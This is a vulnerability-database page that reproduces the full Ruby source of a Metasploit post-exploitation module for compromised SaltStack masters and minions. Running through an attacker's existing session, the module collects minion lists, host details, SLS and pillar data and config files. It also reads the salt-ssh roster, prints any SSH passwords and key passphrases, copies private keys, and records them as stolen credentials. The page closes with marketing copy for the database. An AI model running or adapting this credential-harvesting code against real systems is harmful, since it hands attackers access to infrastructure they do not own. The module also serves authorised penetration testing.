Lucene search
K

SaltStack Salt Information Gatherer

🗓️ 18 May 2021 17:42:26Reported by h00die, c2VlcgoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 85 Views

This module gathers information from SaltStack Salt masters and minions. Data gathered from minions: 1. salt minion config file. Data gathered from masters: 1. minion list (denied, pre, rejected, accepted) 2. minion hostname/ip/os (depending on module settings) 3. SLS 4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed 5. minion config files 6. pillar dat

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'yaml'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Exploit::Local::Saltstack

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt Information Gatherer',
        'Description' => %q{
          This module gathers information from SaltStack Salt masters and minions.
          Data gathered from minions: 1. salt minion config file
          Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
          2. minion hostname/ip/os (depending on module settings)
          3. SLS
          4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
          5. minion config files
          6. pillar data
        },
        'Author' => [
          'h00die',
          'c2Vlcgo'
        ],
        'SessionTypes' => %w[shell meterpreter],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('MINIONS', [true, 'Minions Target', '*']),
        OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),
        OptBool.new('GETIP', [false, 'Gather IP from minions', true]),
        OptBool.new('GETOS', [false, 'Gather OS from minions', true]),
        OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
      ]
    )
  end

  def gather_pillars
    print_status('Gathering pillar data')
    begin
      out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])
      vprint_status(out)
      results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
      store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')
      print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")
    rescue Psych::SyntaxError
      print_error('Unable to process pillar command output')
      return
    end
  end

  def gather_minion_data
    print_status('Gathering data from minions (this can take some time)')
    command = []
    if datastore['GETHOSTNAME']
      command << 'network.get_hostname'
    end
    if datastore['GETIP']
      # command << 'network.ip_addrs'
      command << 'network.interfaces'
    end
    if datastore['GETOS']
      command << 'status.version' # seems to work on linux
      command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
    end
    commas = ',' * (command.length - 1) # we need to provide empty arguments for each command
    command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"
    begin
      out = cmd_exec(command, nil, datastore['TIMEOUT'])
      if out == '' || out.nil?
        print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')
        return
      end
      vprint_status(out)
      results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
      store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')
      print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")
    rescue Psych::SyntaxError
      print_error('Unable to process gather command output')
      return
    end
    return if results == false || results.nil?
    return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')

    results.each_value do |result|
      # at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
      next if result.is_a? String

      host_info = {
        name: result['network.get_hostname'],
        os_flavor: result['status.version'],
        comments: "SaltStack Salt minion to #{session.session_host}"
      }
      # mac os
      if result.key?('system.get_system_info') &&
         result['system.get_system_info'].include?('Traceback') &&
         result.key?('status.version') &&
         result['status.version'].include?('unsupported on the current operating system')
        host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system
        host_info[:os_flavor] = ''
      # windows will throw a traceback error for status.version
      elsif result.key?('status.version') &&
            result['status.version'].include?('Traceback')
        info = result['system.get_system_info']
        host_info[:os_name] = info['os_name']
        host_info[:os_flavor] = info['os_version']
        host_info[:purpose] = info['os_type']
      end

      unless datastore['GETIP'] # if we dont get IP, can't make hosts
        print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")
        next
      end

      result['network.interfaces'].each do |name, interface|
        next if name == 'lo'
        next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface
        next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this
        next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost

        host_info[:mac] = interface['hwaddr']
        host_info[:host] = interface['inet'][0]['address'] # ignoring inet6
        report_host(host_info)
        print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")
      end
    end
  end

  def list_minions_printer
    minions = list_minions
    return if minions.nil?

    tbl = Rex::Text::Table.new(
      'Header' => 'Minions List',
      'Indent' => 1,
      'Columns' => ['Status', 'Minion Name']
    )

    minions.each do |minion|
      tbl << ['Accepted', minion]
    end
    minions['minions_pre'].each do |minion|
      tbl << ['Unaccepted', minion]
    end
    minions['minions_rejected'].each do |minion|
      tbl << ['Rejected', minion]
    end
    minions['minions_denied'].each do |minion|
      tbl << ['Denied', minion]
    end
    print_good(tbl.to_s)
  end

  def minion
    print_status('Looking for salt minion config files')
    # https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
    [
      '/etc/salt/minion', # linux, osx
      'C://salt//conf//minion',
      '/usr/local/etc/salt/minion' # freebsd
    ].each do |config|
      next unless file?(config)

      minion = YAML.safe_load(read_file(config))
      if minion['master']
        print_good("Minion master: #{minion['master']}")
      end
      store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')
      print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
      break # no need to process more
    end
  end

  def master
    list_minions_printer
    gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']

    # get sls files
    unless command_exists?('salt')
      print_error('salt not found on system')
      return
    end
    print_status('Showing SLS')
    output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])
    store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')
    print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")

    # get roster
    # https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
    print_status('Loading roster')
    priv_values = {}
    ['/etc/salt/roster'].each do |config|
      next unless file?(config)

      begin
        minions = YAML.safe_load(read_file(config))
      rescue Psych::SyntaxError
        print_error("Unable to load #{config}")
        next
      end
      store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')
      print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")
      next if minions.nil?

      minions.each do |name, minion|
        host = minion['host'] # aka ip
        user = minion['user']
        port = minion['port'] || 22
        passwd = minion['passwd']
        # sudo = minion['sudo'] || false
        priv = minion['priv'] || false
        priv_pass = minion['priv_passwd'] || false

        print_good("Found SSH minion: #{name} (#{host})")
        # make a special print for encrypted ssh keys
        unless priv_pass == false
          print_good("  SSH key #{priv} password #{priv_pass}")
          report_note(host: host,
                      proto: 'TCP',
                      port: port,
                      type: 'SSH Key Password',
                      data: {
                        ssh_key: priv,
                        password: priv_pass
                      })
        end

        host_info = {
          name: name,
          comments: "SaltStack Salt ssh minion to #{session.session_host}",
          host: host
        }
        report_host(host_info)

        cred = {
          address: host,
          port: port,
          protocol: 'tcp',
          workspace_id: myworkspace_id,
          origin_type: :service,
          private_type: :password,
          service_name: 'SSH',
          module_fullname: fullname,
          username: user,
          status: Metasploit::Model::Login::Status::UNTRIED
        }
        if passwd
          cred[:private_data] = passwd
          create_credential_and_login(cred)
          next
        end

        # handle ssh keys if it wasn't a password
        cred[:private_type] = :ssh_key
        if priv_values[priv]
          cred[:private_data] = priv_values[priv]
          create_credential_and_login(cred)
          next
        end

        unless file?(priv)
          print_error("  Unable to find salt-ssh priv key #{priv}")
          next
        end
        input = read_file(priv)
        store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')
        print_good("  #{priv} stored to #{store_path}")
        priv_values[priv] = input
        cred[:private_data] = input
        create_credential_and_login(cred)
      end
    end
    gather_pillars
  end

  def run
    if session.platform == 'windows'
      # the docs dont show that you can run as a master, nor was the master .bat included as of this writing
      minion
    end
    minion if command_exists?('salt-minion')
    master if command_exists?('salt-master')
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation